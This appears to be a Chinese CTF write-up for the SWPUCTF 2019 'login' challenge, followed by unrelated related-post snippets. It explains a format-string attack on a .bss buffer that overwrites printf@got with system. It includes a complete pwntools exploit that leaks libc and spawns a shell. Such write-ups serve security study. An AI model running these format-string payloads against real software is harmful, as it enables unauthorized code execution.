SWPUCTF_2019_login(格式字符串偏移bss段)
题目的例行检查我就不放了,将程序放入ida中


很明显的值放入了bss段的格式字符串,所以我们动态调试一下程序

可以看到ebp这个地方0xffd0dd17-->0xffd0dd38-->0xffd0dd48这个指针链接,而ebp这个的值是%6$p的偏移,所以我们可以通过修改%6这里的指针处往0xffd0dd48这里覆盖位printf_got表的位置
相关代码为


可以看到我们成功的在a8也就是偏移为%14的这里写上了printf_got的地址(ebp指针不一样因为我重新打开的,不要介意)
然后再将%15的位置覆盖为printf_got+1的地址(说实话,我也不知道这步是为什么,)

相关代码为


可以看到成功将%14和%15的偏移处修改为了printf@got的地址,然后我们可以将system的地址覆盖到这里,这样当我们输入/bin/sh的时候就可以拿到shell了
相关代码

因为这里我们是一步完成的,所以我们需要再减去0x10的长度


可以看到我们成功的将这里的指针覆盖为了system的地址

完整exp如下
from pwn import *
import time p = process('./pwn1')
#p = remote('node4.buuoj.cn',26202)
libc = ELF('./libc-2.27-i386.so')
p.sendlineafter('name:','aa')
p.sendlineafter('password:','%15$p') p.recvuntil('0x')
#10 14
__libc_start_main = int(p.recvuntil('\n',drop=True),16)-0xf1
libc_base = __libc_start_main - libc.symbols['__libc_start_main']
print('libc_base-->'+hex(libc_base))
system = libc_base + libc.sym['system']
print('system-->'+hex(system)) p.sendlineafter('Try again!','%6$p')
p.recvuntil('0x')
strack_addr0 = int(p.recvuntil('\n',drop=True),16)
print('strack_addr0-->'+hex(strack_addr0))
#0xffda2994 p.sendlineafter('Try again!','%10$p')
p.recvuntil('0x')
strack_addr1 = int(p.recvuntil('\n',drop=True),16)
print('strack_addr1-->'+hex(strack_addr1))
#0xffd2a9a4
#print_got 0x0804b014
cmd = 'b *0x08048575\n'
#strack_addr1的值就是ebp第二的指针
#---------------将%14的偏移的地址处修改为print_got的地址----------
payload = '%'+str(0x14)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload) #14 payload1 = '%'+str((strack_addr1 & 0xff)+1)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload1) payload2 = '%'+str(0xb0)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload2) #b0 payload3 = '%'+str((strack_addr1 & 0xff)+2)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload3) payload4 = '%'+str(0x04)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload4) #04 payload5 = '%'+str((strack_addr1 & 0xff)+3)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload5) payload6 = '%'+str(0x08)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload6) #08 #-------------------将%15的偏移处的地址覆盖为printf_got+1的地址-------------------------------
strack_addr1 = strack_addr1 + 4
payload1 = '%'+str(strack_addr1 & 0xff)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload1) payload2 = '%'+str(0x15)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload2) #15 payload3 = '%'+str((strack_addr1 & 0xff)+1)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload3) payload4 = '%'+str(0xb0)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload4) #b0 payload5 = '%'+str((strack_addr1 & 0xff)+2)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload5) payload6 = '%'+str(0x04)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload6) #04 payload7 = '%'+str((strack_addr1 & 0xff)+3)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload7) payload8 = '%'+str(0x08)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload8) #08 #------------------修改为system的地址---------------------------- payload = '%'+str(system & 0xff)+'c'+'%14$hhn' payload += '%'+str(((system & 0xffff00)>>8)-0x10)+'c'+'%15$hn'
print(hex(((system & 0xffff00)>>8)-0x10))
p.sendlineafter('Try again!\n',payload) time.sleep(0.5) p.sendline('/bin/sh') gdb.attach(p,cmd)
p.interactive()
题后修补:注意第一次修改%6的偏移是为了修改指针指向的地址然后修改%10的值是修改地址指针上面的值
结束

SWPUCTF_2019_login(格式字符串偏移bss段)的更多相关文章
- 【转】linux代码段,数据段,BSS段, 堆,栈
转载自 http://blog.csdn.net/wudebao5220150/article/details/12947445 linux代码段,数据段,BSS段, 堆,栈 网上摘抄了一些,自己组 ...
- BSS段 data段 text段 堆heap 和 栈stack
BSS段:BSS段(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域.BSS是英文Block Started by Symbol的简称.BSS段属于静态内存分配. 数 ...
- C语言初始化——bss段初始化、跃入C、C与汇编
1.bss段初始化 变量 存放位置 初始化的全局变量 数据段 局部变量 栈 malloc函数分配的 堆 未初始的全局变量 bss段 说明:全局变量在未赋初值时,会被保留到bss段. 测试: #incl ...
- linux代码段,数据段,BSS段, 堆,栈(二)
//main.cpp int a = 0; 全局初始化区 char *p1; 全局未初始化区 main() { int b; 栈 char s[] = "abc"; 栈 char ...
- 【转】 BSS段 数据段 代码段 堆栈 指针 vs 引用
原文:http://blog.csdn.net/godspirits/article/details/2953721 BSS段 数据段 代码段 堆栈 (转+) 声明:大部分来自于维基百科,自由的百科全 ...
- 数据段、代码段、堆栈段、BSS段
在linux中,进程在内存中一般会分为5个段,用来存放从磁盘载入的程序代码,等. 这五个段分别是: BSS段: 通常用来存放程序中未初始化的全局变量的一块内存区域.属于静态内存分配. 问题:全局变量不 ...
- 【转】可执行程序包括BSS段、数据段、代码段
可执行程序包括BSS段.数据段.代码段(也称文本段). 一.BSS BSS(Block Started by Symbol)通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域.特点是:可 ...
- Linux中的段管理,bss段,data段,
Linux 的段管理, BSS段(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域.BSS是英文Block Started by Symbol的简称.BSS段属于静态内存 ...
- 浅谈c语言代码段 数据段 bss段
代码段.数据段.bss段 (1)编译器在编译程序的时候,将程序中的所有的元素分成了一些组成部分,各部分构成一个段,所以说段是可执行程序的组成部分. (2)代码段:代码段就是程序中的可执行部分,直观理解 ...
随机推荐
- 14-1-Unsupervised Learning ---dimension reduction
无监督学习(Unsupervised Learning)可以分为两种: 化繁为简 聚类(Clustering) 降维(Dimension Reduction) 无中生有(Generation) 所谓的 ...
- [bzoj5291]链上二次求和
记$bi=b_{i-1}+ai$,$ci=c_{i-1}+bi$,那么答案就是$\sum_{i=l}^{r}\sum_{j=0}^{n-i}b_{j+i}-bj=(r-l+1)cn-\sum_{i=l ...
- [loj4]Quine
很有趣的一道题目,如何让一个程序输出自身如果用字符串s表示程序,那么意味着可以通过s来输出sprintf是一个可以利用的函数,相当于要求printf(s,s)输出的就是s那么只需要在s中加入%c和%d ...
- @Value设置默认值
使用@Value注解将变量进行自动注入的时候,经常会出现的一个问题就是我们可能会由于在配置参数中忘记设置该参数造成整个项目报错,其实我们可以通过给被@Value注解作用的变量进行注入的时候如果没有找到 ...
- Peaks Gym 100365H
Peaks ( Gym 100365H ) 这题nk做法还挺正常的..后面那个循环就很恶心了 考虑 dp[i][j] 表示长度为i的排列,恰好有k个峰的方案数量. 然后转移就是把 i 插入 i-1 的 ...
- CF1202E You Are Given Some Strings...
题目传送门. 题意简述:给出 \(t\) 与 \(s_{1,2,\cdots,n}\).求对于所有 \(i,j\in[1,n]\),\(s_i+s_j\) 在 \(t\) 中出现次数之和. 如果只有 ...
- 【GS模型】使用R包sommer进行基因组选择的GBLUP和RRBLUP分析?
目录 简介 GS示例代码 简介 R包sommer内置了C++,运算速度还是比较快的,功能也很丰富,可求解各种复杂模型.语法相比于lme4包也要好懂一些. 建议查看文档:vignette("v ...
- 使用Openmp并行化
运行命令:g++ -fopenmp xx.cpp -lgomp -lpthread -o xx.out 用例一: #include <omp.h> #include <stdio.h ...
- 表格合并单元格【c#】
gridBranchInfo.DataSource = dtBranchViewList; gridBranchInfo.DataBind(); Random random = new Random( ...
- 分布式事务(3)---强一致性分布式事务Atomikos实战
分布式事务(1)-理论基础 分布式事务(2)---强一致性分布式事务解决方案 分布式事务(4)---最终一致性方案之TCC 前面介绍强一致性分布式解决方案,这里用Atomikos框架写一个实战的dem ...